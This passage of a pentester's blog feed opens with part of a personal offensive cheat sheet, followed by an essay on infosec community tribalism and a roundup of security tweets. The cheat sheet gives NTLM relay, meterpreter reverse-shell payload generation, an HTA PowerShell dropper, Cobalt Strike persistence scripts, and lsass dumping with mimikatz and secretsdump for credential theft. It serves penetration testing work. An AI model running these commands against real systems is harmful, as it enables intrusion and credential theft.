<p><code class="language-plaintext highlighter-rouge">ntlmrelayx.py -6 -wh &lt;attackerip&gt; -t smb://&lt;targetip&gt; -l &lt;path/to/loot&gt; -socks -debug</code></p>

<p>Can also be used to execute commands.</p>

<h1 id="automation">Automation</h1>
<h2 id="bash">Bash</h2>
<h3 id="repeat-command-for-each-line-of-a-file">Repeat command for each line of a file</h3>
<p><code class="language-plaintext highlighter-rouge">while read ip; do &lt;command&gt; "$ip"; done &lt; &lt;inputfile&gt;</code></p>

<p>Good for automating commands that only accept one target.</p>

<h3 id="save-command-output-to-file">Save command output to file</h3>
<p><code class="language-plaintext highlighter-rouge">&lt;command&gt; | tee &lt;outputfile&gt;</code></p>

<p>Useful for tools that don’t have a logging feature, e.g. SMBMap.</p>

<h3 id="rename-multiple-files-in-a-folder-while-keeping-their-extension">Rename multiple files in a folder while keeping their extension</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">a</span><span class="o">=</span>1
<span class="k">for </span>i <span class="k">in</span> <span class="k">*</span>.ext<span class="p">;</span> <span class="k">do
  </span><span class="nv">num</span><span class="o">=</span><span class="si">$(</span><span class="nb">printf</span> <span class="s2">"%04d.ext"</span> <span class="s2">"</span><span class="nv">$a</span><span class="s2">"</span><span class="si">)</span>
  <span class="nb">mv</span> <span class="nt">-i</span> <span class="nt">--</span> <span class="s2">"</span><span class="nv">$i</span><span class="s2">"</span> <span class="s2">"&lt;prefix&gt;-</span><span class="si">$(</span><span class="nb">date</span> +%Y-%m-%d<span class="si">)</span><span class="s2">-</span><span class="nv">$num</span><span class="s2">"</span>
  <span class="nb">let </span><span class="nv">a</span><span class="o">=</span>a+1
<span class="k">done</span>
</code></pre></div></div>

<p>Useful date/time variables to include in file names:
$(date +%Y-%m-%d-%H-%M-%S)</p>

<h2 id="windows-cli">Windows CLI</h2>
<h3 id="ping-scan-24-range-via-loop">Ping scan /24 range via loop</h3>
<p><code class="language-plaintext highlighter-rouge">FOR /L %i in (1,1,255) do @ping -n 1 &lt;prefix&gt;.%i | find "Reply"</code></p>

<h2 id="powershell">PowerShell</h2>
<h3 id="run-command-on-all-files-in-folderssubfolders">Run command on all files in folders/subfolders</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$files = Get-ChildItem c:\temp\*.txt
foreach ($file in $files) {&lt;command&gt; $file}
</code></pre></div></div>

<h2 id="cobalt-strike-aggressor-scripting">Cobalt Strike Aggressor Scripting</h2>
<h3 id="automate-setup-for-dns-beacon">Automate setup for DNS beacon</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>on beacon_initial_empty {
	bnote($1,"Established: " . formatDate('MM/dd/yyyy HH:mm:ss (z)'));
	bmode($1, "dns-txt");
	bcheckin($1);
}
</code></pre></div></div>
<h3 id="automate-initial-information-gathering-on-new-dns-beacon">Automate initial information gathering on new DNS beacon</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>on beacon_initial {
	binput($1, "Groups");
	bshell!($1, "whoami /groups");
	binput($1, "Processes");
	bshell!($1, "tasklist /v");
	binput($1, "Connections");
	bshell!($1, "netstat -na | findstr \"EST\"");
	binput($1, "System Info");
	bshell!($1, "systeminfo");
	binput($1, "DNS Cache");
	bshell!($1, "ipconfig /displaydns");
}
</code></pre></div></div>
<h3 id="automate-simple-persistence-on-new-dns-beacon">Automate simple persistence on new DNS beacon</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>on beacon_initial {
	bcp($1, "FILEHERE", "c:\\users\\" . binfo($1, "user") . "\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\startfile.EXTHERE");
}
</code></pre></div></div>
<h1 id="python-virtual-environments">Python virtual environments</h1>
<h2 id="install-virtualenv">Install virtualenv</h2>
<p><code class="language-plaintext highlighter-rouge">pip install virtualenv</code></p>

<h2 id="create-a-new-virtualenv">Create a new virtualenv</h2>
<p><code class="language-plaintext highlighter-rouge">virtualenv &lt;directory&gt;</code></p>

<h2 id="use-an-existing-virtualenv">Use an existing virtualenv</h2>
<p><code class="language-plaintext highlighter-rouge">source &lt;directory&gt;/bin/activate</code></p>

<h2 id="exit-currently-active-virtualenv">Exit currently active virtualenv</h2>
<p><code class="language-plaintext highlighter-rouge">deactivate</code></p>

<h1 id="wordlists">Wordlists</h1>
<h2 id="kali-built-in">Kali built-in</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/share/wordlists/
├── dirb -&gt; /usr/share/dirb/wordlists
├── dirbuster -&gt; /usr/share/dirbuster/wordlists
├── dnsmap.txt -&gt; /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt -&gt; /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -&gt; /usr/share/fern-wifi-cracker/extras/wordlists
├── metasploit -&gt; /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -&gt; /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt.gz
├── sqlmap.txt -&gt; /usr/share/sqlmap/txt/wordlist.txt
└── wfuzz -&gt; /usr/share/wfuzz/wordlist
</code></pre></div></div>

<h2 id="seclists">Seclists</h2>
<p><a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></p>

<h2 id="crackstation">Crackstation</h2>
<p><a href="https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm">https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm</a></p>

<h1 id="ssltls-interdiction-evasion">SSL/TLS interdiction evasion</h1>
<h2 id="domaingain">DomainGain</h2>
<p>Use to identify an expired domain categorized as a non-interdicted category (e.g., healthcare).</p>

<p><a href="https://github.com/fullmetalcache/domainGain">https://github.com/fullmetalcache/domainGain</a></p>

<h1 id="generating-exploit-payloads">Generating exploit payloads</h1>
<h2 id="veil-the-newer-way">Veil (the newer way)</h2>
<p><a href="https://github.com/Veil-Framework/">https://github.com/Veil-Framework/</a></p>

<h2 id="msfvenom-the-old-way">MSFVenom (the old way)</h2>
<h3 id="generating-a-typical-payload">Generating a typical payload</h3>
<p><code class="language-plaintext highlighter-rouge">msfvenom -f exe -e x86/shikata_ga_nai -a x64 -p windows/x64/meterpreter_reverse_https lhost=&lt;ip&gt; lport=&lt;port&gt;  -i &lt;count&gt; -o &lt;outputfile&gt;</code></p>

<p>There are numerous ways to generate payloads.</p>

<h2 id="msfconsole">MSFConsole</h2>
<h3 id="creating-a-handler-for-the-above-payload">Creating a handler for the above payload</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole
set payload windows/x64/meterpreter_reverse_https
set LHOST &lt;ip&gt;
set LPORT &lt;port&gt;
</code></pre></div></div>

<p>Settings for the handlers must match those of the payload.</p>

<h1 id="dropping-payloads">Dropping payloads</h1>
<h2 id="invoke-cradlecrafter">Invoke-CradleCrafter</h2>
<p><a href="https://github.com/danielbohannon/Invoke-CradleCrafter">https://github.com/danielbohannon/Invoke-CradleCrafter</a></p>

<p><code class="language-plaintext highlighter-rouge">PS &gt; Import-Module Invoke-CradleCrafter.ps1 &amp;&amp; import-module Out-Cradle.ps1</code></p>

<p>Obfuscate all the things, drop into batch/hta/whatever.</p>

<h2 id="hta-file-dropper">HTA file dropper</h2>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">language=</span><span class="s">"VBScript"</span><span class="nt">&gt;</span>
    <span class="nx">Sub</span> <span class="nx">a</span>
        <span class="nb">Set</span> <span class="nx">z</span> <span class="o">=</span> <span class="nx">CreateObject</span><span class="p">(</span><span class="dl">"</span><span class="s2">Wscript.Shell</span><span class="dl">"</span><span class="p">)</span>
        <span class="nx">command</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">%systemroot%</span><span class="se">\</span><span class="s2">sysnative</span><span class="se">\</span><span class="s2">WindowsPowerShell</span><span class="se">\</span><span class="s2">v1.0</span><span class="se">\</span><span class="s2">powershell.exe -noexit whatever</span><span class="dl">"</span>
        <span class="nx">z</span><span class="p">.</span><span class="nx">Run</span> <span class="nx">command</span>
    <span class="nx">End</span> <span class="nx">Sub</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;body</span> <span class="na">onload=</span><span class="s">"a"</span><span class="nt">&gt;</span>
</code></pre></div></div>
<h1 id="privilege-escalation">Privilege Escalation</h1>

<h2 id="privexchange">PrivExchange</h2>
<p><a href="https://github.com/dirkjanm/PrivExchange">https://github.com/dirkjanm/PrivExchange</a></p>

<h1 id="post-exploitation">Post-exploitation</h1>

<h2 id="windows">Windows</h2>

<h3 id="internal-enumerationcalling-card">Internal Enumeration/Calling Card</h3>

<p>Create subfolder of desired location. Inside created folder, create desktop.ini:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[.ShellClassInfo]
IconResource=\\%USERNAME%.%COMPUTERNAME%.%USERDOMAIN%.INI.subdomain.domain.tld\resource.dll
</code></pre></div></div>

<p>Note: Attempting to navigate into the new folder will result in hourglass since resource does not exist. Do not put desktop.ini in a high-traffic folder. Placing token will record traversal one level above, as well as into the new folder.</p>

<h3 id="systemcontext-enumeration">System/context Enumeration</h3>
<p><code class="language-plaintext highlighter-rouge">whoami</code></p>

<p><code class="language-plaintext highlighter-rouge">hostname</code></p>

<p><code class="language-plaintext highlighter-rouge">ipconfig /displaydns</code></p>

<h3 id="service-enumeration">Service enumeration</h3>
<p><code class="language-plaintext highlighter-rouge">net start</code></p>

<h3 id="service-manipulation">Service manipulation</h3>

<p><code class="language-plaintext highlighter-rouge">net stop &lt;servicename&gt;</code></p>

<p><code class="language-plaintext highlighter-rouge">net start &lt;servicename&gt;</code></p>

<p><code class="language-plaintext highlighter-rouge">sc stop &lt;servicename&gt;</code></p>

<p><code class="language-plaintext highlighter-rouge">sc start &lt;servicename&gt;</code></p>

<h3 id="arp-cache-enumeration">ARP cache enumeration</h3>
<p><code class="language-plaintext highlighter-rouge">arp -a</code></p>

<h3 id="credential-gathering">Credential gathering</h3>
<h4 id="procdump">Procdump</h4>
<p><code class="language-plaintext highlighter-rouge">procdump[64].exe -accepteula -ma lsass.exe &lt;outputfile&gt;</code></p>

<p>Save the output file for parsing offline with mimikatz.</p>

<h4 id="mimikatz">Mimikatz</h4>
<p><code class="language-plaintext highlighter-rouge">privilege::debug</code></p>

<p><code class="language-plaintext highlighter-rouge">sekurlsa::logonPasswords full</code></p>

<h4 id="secretsdumppy">Secretsdump.py</h4>
<p><code class="language-plaintext highlighter-rouge">secretsdump.py -just-dc-ntlm &lt;fulldomain&lt;/&lt;user&gt;@&lt;ipaddress&gt;</code></p>

<h3 id="various-pillaging">Various Pillaging</h3>

<h4 id="extracting-files-from-kbf-ntbackup-files">Extracting Files from .kbf (NTBackup) files</h4>

<p><a href="https://github.com/sjmurdoch/mtftar">https://github.com/sjmurdoch/mtftar</a> (works on Linux)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mtftar &lt; backup.bkf | tar xvf -
</code></pre></div></div>

<p>More to come…</p>]]></content><author><name>vext</name></author><category term="pentesting" /><category term="cheatsheets" /><summary type="html"><![CDATA[This post is a “living document,” intended for me to keep a quick-and-dirty reference sheet around at all times, rather than as a standalone post. It will be updated with items that I find I need to refer to multiple times.]]></summary></entry><entry><title type="html">On identity, tribe, and infosec</title><link href="/2019/01/23/on-identity-tribe-and-infosec.html" rel="alternate" type="text/html" title="On identity, tribe, and infosec" /><published>2019-01-23T11:17:11+00:00</published><updated>2019-01-23T11:17:11+00:00</updated><id>/2019/01/23/on-identity-tribe-and-infosec</id><content type="html" xml:base="/2019/01/23/on-identity-tribe-and-infosec.html"><![CDATA[<p>I’ve been thinking lately about “the infosec community” because of some things I’ve read from folks on Twitter. Unlike my “DMs to myself,” posts, I’m not going to single out any specific tweets, here, because that isn’t the point of this post. The point of this post is to talk about “the infosec community.” Of course, to begin with, it’s something of a misnomer; there is no single infosec community. We are a community of communities. There are specialties. There are niches. There are different kinds of infosec professionals. Some are rock stars. Some are nine-to-fivers. Some write amazing tools that change testing almost overnight. Some never write a line of code, but still manage to provide their clients value in security assessments. Some professionals are red, some are blue, and some are purple. Some “professionals” aren’t very professional at all. Infosec (or cybersec, or netsec, or whatever you want to call it) is an umbrella term for a whole slew of vocations, and there is no simple way to sum up what we mean when we refer to “the infosec community.”</p>

<p>This, of course, is only part of the story, because every community is made up of people. Big companies, especially, often forget the more important part of their “human resources” is the human part. Infosec is a microcosm of every other part of humanity. Some of these people are politically left-leaning, some lean to the right, and some don’t fit cleanly in either extreme bucket and find themselves more to the middle. Some have lighter skin, some darker. Some believe in one god, others believe in a different one (or more), and others still no deity at all. Some are men, some are women, and some are non-binary. We are all people. We have identities, and most of us have a natural tendency toward tribalism in some form or other. We seek our “in group” that we can identify with, that we can feel is safely “us” as opposed to “them.” Traditionally, this has taken the form of spending significant amounts of time with a given group in order to belong. Social media has changed this profoundly. We can join groups quickly. We can identify with groups quickly.</p>

<p>There is nothing wrong with belonging to a group, or to many groups. It’s healthy to be involved with other people, to be exposed to differing points of view, other ways of thinking. To do otherwise is to be a hermit, or to operate in an echo chamber full of self-inflating ideas. It is good to have a sense of belonging, to know there are people who care about you and that there is help when you need it. From time to time we all need it. Sometimes we go through something truly challenging, that shakes us to our core, and having friendly ears to listen or shoulders to lean - or cry - on can be a literal life line. Sometimes we get so fed up with some challenge in our life that we need to vent it out to someone who can offer a compassionate ear. Sometimes we just have a “meh” day and like to waste some time with friends over a beer or a show or a video game. This is what community - any community, be it friends, family, colleagues, or a mix of these - is for.</p>

<p>Sometimes, though, we get mixed up. We get so wrapped up in the sense of belonging to a community that we forget the fact that we’re all individuals. That we all have lives and stories and experiences. We all have worth. We aren’t <strong>merely</strong> members of a community. We are members of a community, and we are individuals. We all bring something unique to the communities we are a part of. We define the communities, not the other way around. Sometimes we forget this. We can get so wrapped up in the goings-on of the community that we identify <strong>as</strong> that, rather than <strong>with</strong> it. It’s an important distinction. Words have meaning. They shape the way we form our own thoughts, and they shape the way others form thoughts about us, and what we say.
“Hi, I’m vext, I’m a pentester,” is a different statement from “Hi, I’m vext, I do pentests.”</p>

<p>Why does this kind of nuance matter? Because sometimes we get lost in the groups we identify with. Sometimes we get carried away, and things get unhealthy, for us and for the groups. There are, I’m sure, groups that deliberately seek to bring this about, aiming to prey on the vulnerable and take advantage of them. To indoctrinate. Far more common, I’m sure, it happens all on its own, without the need for any shepherding. Whatever the cause, I’ve seen a lot of it. I’ve seen the vitriol that people hurl at each other, when they are standing up for their tribe against the <em>other</em>. I’ve seen it in political discussions, in matters of vocation, in matters of gender and race, of rockstars and those behind the scenes, of usses and thems.</p>

<p>Platforms like Twitter make it all too easy to fire off an angry message - short and without the room for any real nuance, thanks to character limits - without taking the time to think about it, first. There is no pause, no space for reflection on what impact the message might have. What repercussions may arise as a result. People re-tweet and like things that they find important, and the algorithms in the background filter and rank and display the things we are most likely to respond to. We might only see part of the story - maybe because we only follow one of the people involved, and Twitter only shows us that person’s tweets, out of context, or because somebody in the conversation is blocked, rendering them silent and deaf to the situation being discussed. It’s like some bizarrely choreographed, amplified version of high-school gossip, and it all too often becomes toxic. Sometimes the toxicity is from those perceived as oppressors, and sometimes it’s from those who consider themselves the oppressed. Sometimes there are real repercussions. Sometimes people get upset. Sometimes people lose their jobs. Sometimes people take their own life.</p>

<p>Social media is a tool, and like any other it can be used for good or bad. The purpose of it should be to communicate with others. To start conversations. To share ideas. To seek the truth and find ways to improve the things we care about. It’s ok to disagree, but civility is important. Trolls and arguments may be entertaining, but they don’t change minds. Conversations are the only way to actually communicate with those who disagree with us. If every encounter devolves into name-calling, ostracizing, and tantrums, we are all wasting a lot of time, effort and attention.</p>

<p>Another aspect of this post is a mea culpa, of sorts; while everything I have described above relates to witnessing the conversations of others, I am not immune to this issue. I’ve tweeted things that would have been better left untweeted (untwatten? untwote?). I intend to improve, in that regard. For my part, I intend to be more thoughtful, before I send a tweet; to consider my words, and what their result might be. I’m not afraid to offend someone, but neither do I want to cause undue harm, or be an irredeemable asshole. For my part, I will think before I tweet. I invite you to join me.
May we have more meaningful conversations, and fewer clickbait flame wars, together.</p>]]></content><author><name>vext</name></author><category term="infosec" /><category term="tribe" /><category term="identity" /><category term="twitter" /><summary type="html"><![CDATA[I’ve been thinking lately about “the infosec community” because of some things I’ve read from folks on Twitter. Unlike my “DMs to myself,” posts, I’m not going to single out any specific tweets, here, because that isn’t the point of this post. The point of this post is to talk about “the infosec community.” Of course, to begin with, it’s something of a misnomer; there is no single infosec community. We are a community of communities. There are specialties. There are niches. There are different kinds of infosec professionals. Some are rock stars. Some are nine-to-fivers. Some write amazing tools that change testing almost overnight. Some never write a line of code, but still manage to provide their clients value in security assessments. Some professionals are red, some are blue, and some are purple. Some “professionals” aren’t very professional at all. Infosec (or cybersec, or netsec, or whatever you want to call it) is an umbrella term for a whole slew of vocations, and there is no simple way to sum up what we mean when we refer to “the infosec community.”]]></summary></entry><entry><title type="html">DMs to myself 3</title><link href="/2019/01/21/dms-to-myself-3.html" rel="alternate" type="text/html" title="DMs to myself 3" /><published>2019-01-21T15:34:25+00:00</published><updated>2019-01-21T15:34:25+00:00</updated><id>/2019/01/21/dms-to-myself-3</id><content type="html" xml:base="/2019/01/21/dms-to-myself-3.html"><![CDATA[<p>Welcome to “DMs to myself,” where I will be going through messages from Twitter that I sent to myself.  I do this in an effort to keep track of interesting or valuable pieces of information that flow through the ether that is Twitter’s timeline. As I perform the review, I’m finding a lot of deleted tweets, so clearly this isn’t the best method.</p>

<p>These posts will be a <del>hopefully regular</del> <del>probably sporadic</del> review of interesting and informative tweets that have landed under my scope but which, as is often the case, I didn’t have time to delve into at the time. I will take a look at a hand full of tweets and related links and provide my own comments or observations.</p>

<p>Note: Some of these are quite old and even out of date. I’ve been building up my pile of saved tweets for a while now, and these posts start with the oldest based on when I saw them.</p>

<h1 id="tweet-15---windows-privilege-escalation-methods-for-pentesters">Tweet 1/5 - Windows Privilege Escalation Methods for Pentesters</h1>
<p><a href="https://twitter.com/DanielX4v3r/status/911849582459572226">@DanielX4v3r</a> writes:
<img src="../../../assets/images/dmstome-2019-21-01.png" alt="@DanielX4v3r" /></p>

<p>“Recommended reading - Windows Privilege Escalation Methods for Pentesters: <a href="https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/">https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/</a> … by @pentestblog”</p>

<p>This blog post by Gokhan Sagoglu on @pentestblog (<a href="https://pentest.blog/">blog</a>) is great in that it goes into some really granular and well-illustrated details of common privesc methods that are easy to find (such as with automated PowerView scans), but if you haven’t executed yourself, might be a bit opaque. @pentestblog doesn’t seem to be too active on Twitter lately, but the blog itself is still active and worth reading.</p>

<h1 id="tweet-25---nmap-custom-ports-with-script-scans">Tweet 2/5 - Nmap custom ports with script scans</h1>
<p><a href="https://twitter.com/liamosaur/status/912491527573692416">@liamosaur</a> writes:
<img src="../../../assets/images/dmstome-2019-21-02.png" alt="@liamosaur" /></p>

<p>“If you want an nmap script to run on a non-standard port, add a + before the script name, eg: nmap –script +mysql-enum -p 6666 x.x.x.x”</p>

<p>This is a great tip for using Nmap with more versatility than the default. A great example of this is running scans for heartbleed and shellshock on nonstandard ports; there are still a fair number of appliances and web services that don’t run on the typical port ranges for web that contain these vulnerabilities.</p>

<h1 id="tweet-35---getting-the-goods-with-crackmapexec-part-1">Tweet 3/5 - Getting the goods with CrackMapExec: Part 1</h1>
<p><a href="https://twitter.com/L4bf0x/status/913205630231564290">@L4bf0x</a> writes:
<img src="../../../assets/images/dmstome-2019-21-03.png" alt="@L4bf0x" />
“One of my all-time fav tutorials for internals: <a href="https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html">https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html</a> … by @byt3bl33d3r”</p>

<p><a href="https://byt3bl33d3r.github.io">@byt3bl33d3r</a> is a source of some really excellent information and tools in the pentesting/red teaming space. I’ve been following his work for some time and I’m always impressed. This is no exception, and though the ecosystem in security is changing rapidly, the insights in this post remain valid. The illustrative use of animated gifs to show commands running is also really excellent for the reader.</p>

<p><a href="https://github.com/byt3bl33d3r/CrackMapExec">CrackMapExec</a> is a tool I’ve been meaning to learn and put into use for some time. Now that I’ve made the time to do a bit of reading, this blog post by itself helps me better understand the tool and its functionality. Next step is to lab it up and get my hands dirty.</p>

<p>And of course there is <a href="https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html">a part 2</a>.</p>

<h1 id="tweet-45---privacy-implications-of-email-tracking">Tweet 4/5 - Privacy implications of email tracking</h1>
<p><a href="https://twitter.com/x0rz/status/913724020796854273">@x0rz</a> writes:
<img src="../../../assets/images/dmstome-2019-21-04.png" alt="@x0rz" /></p>

<p>“Privacy implications of email tracking <a href="https://senglehardt.com/papers/pets18_email_tracking.pdf">https://senglehardt.com/papers/pets18_email_tracking.pdf</a> … (PDF)”</p>

<p>Privacy is a crucially important concept - and one that I feel most folks don’t think much about or take seriously enough. This is a great read authored by Steven Englehardt, Jeffrey Han, and Arvind Narayanan. I am including excepts from the piece here with my commentary, but you really should give the whole document a read. It’s only 18 pages and it has some excellent data analysis.</p>

<p>“… a network of hundreds of third parties that track email recipients via methods such as embedded pixels. About 30% of emails leak the recipient’s email address to one or more of these third parties when they are viewed.”</p>

<p>Think about that. Nearly a third of every email they analyzed had some sort of tracking mechanism in it. From a bare minimum pragmatic standpoint, those beacons reveal activity on the user’s email account, which could result in additional spammy messages coming in. In the most extreme of privacy implications, those beacons could put an individual at risk of their privacy or even personal safety (e.g., in the case of a political protester in a country without protected freedom of speech). The ubiquity of this technology use should concern us all. For further reading on this subject, I highly recommend another paper referenced in this one: <a href="https://senglehardt.com/papers/www15_cookie_surveil.pdf">Cookies That Give You Away: The Surveillance Implications of Web Tracking</a>.</p>

<p>The authors “…present a set of heuristics to classify such leak-age as intentional or accidental (Section 4.1). Intentional leakage suggests a business relationship between
the party sending the information and the party receiving it, whereas accidental leakage happens due to poor programming practices…”</p>

<p>This is excellent for the reader in helping to understand general rules of thumb regarding how their data is exposed, and whether that exposure is deliberate or not. The authors later go on to suggest systematic solutions to these challenges.</p>

<p>More interesting data, the authors “… find that 85% of emails in our corpus contain embedded third-party content, and 70% contain resources categorized as trackers by popular tracking-protection lists.”</p>

<p>This does not surprise me, and it raises the point of one of the significant challenges that users face in this space: the techniques that are described in the paper are considered “legitimate business” by many. Marketing and advertising are part and parcel of our modern economy. The problem with this it the very same techniques can be used maliciously (either by companies or criminals), and telling the two apart is challenging, at best.</p>

<p>The scale and the nature of the exposure is further described, in that out of over 12 thousand emails, the authors “… find that about 29% of emails leak the user’s email address to at least one third party, and about 19% of senders sent at least one email that had such a leak. The majority of these leaks (62%) are intentional, based on our heuristics. Tracking protection is helpful, but not perfect: it reduces the number of email leaks by 87%.”</p>

<p>I know a fair amount about web tracking and email tracking, but one specific finding that was surprising to me was that the authors “… observe some tracking images which redirect to
new domains upon every subsequent reload of the same email.”
This is an interesting and advanced wrinkle in the overall tracking landscape that I had never considered before. It makes sense, though, as there may be value in determining if a reader views the same message multiple times.</p>

<h1 id="tweet-55---windows-privilege-escalation-methods-for-pentesters">Tweet 5/5 - Windows Privilege Escalation Methods for Pentesters</h1>
<p><a href="https://twitter.com/thegrugq/status/913680673973473280">@thegrugq</a> writes:
<img src="../../../assets/images/dmstome-2019-21-05.png" alt="@thegrugq" /></p>

<p>“Know your hacker. [Link to <a href="https://medium.com/@thegrugq/cyber-operators-differences-matter-7cfba2ddb9a6">article</a>]”</p>

<p>As are most from thegrugq, this is a good article. I am biased as a pentester, and I don’t agree 100% with his pigeon-holing structure (specifically, lumping red team in with pentesters, since there is a difference that has become more and more clear in the last couple years). Also, I <strong>wish</strong> I had 2 weeks of testing, per thegrugq’s comment: “Finally, those guys are fast. They have two weeks to work and they hardly need it before they have DA.”</p>

<p>That said, I 100% agree with thegrugq’s conclusion to the pentester section: “Clients who do not scope a project to make pentester intent mimic malicious actor intent are not getting value from their services.” This is also a burden on the pentester companies. If a pentest company is not <strong>helping</strong> their client to scope an engagement to mimic real world scenarios and risks, that company is failing their client. In his conclusion, thegrugq does go on to add that “Good pen test teams will rise to the challenge and supply the sort of assessment that actually generates value.”</p>

<p>As a last bonus, ASM is my new favorite acronym :D</p>]]></content><author><name>vext</name></author><category term="dms" /><category term="twitter" /><category term="opinion" /><category term="reference" /><summary type="html"><![CDATA[Welcome to “DMs to myself,” where I will be going through messages from Twitter that I sent to myself. I do this in an effort to keep track of interesting or valuable pieces of information that flow through the ether that is Twitter’s timeline. As I perform the review, I’m finding a lot of deleted tweets, so clearly this isn’t the best method.]]></summary></entry></feed>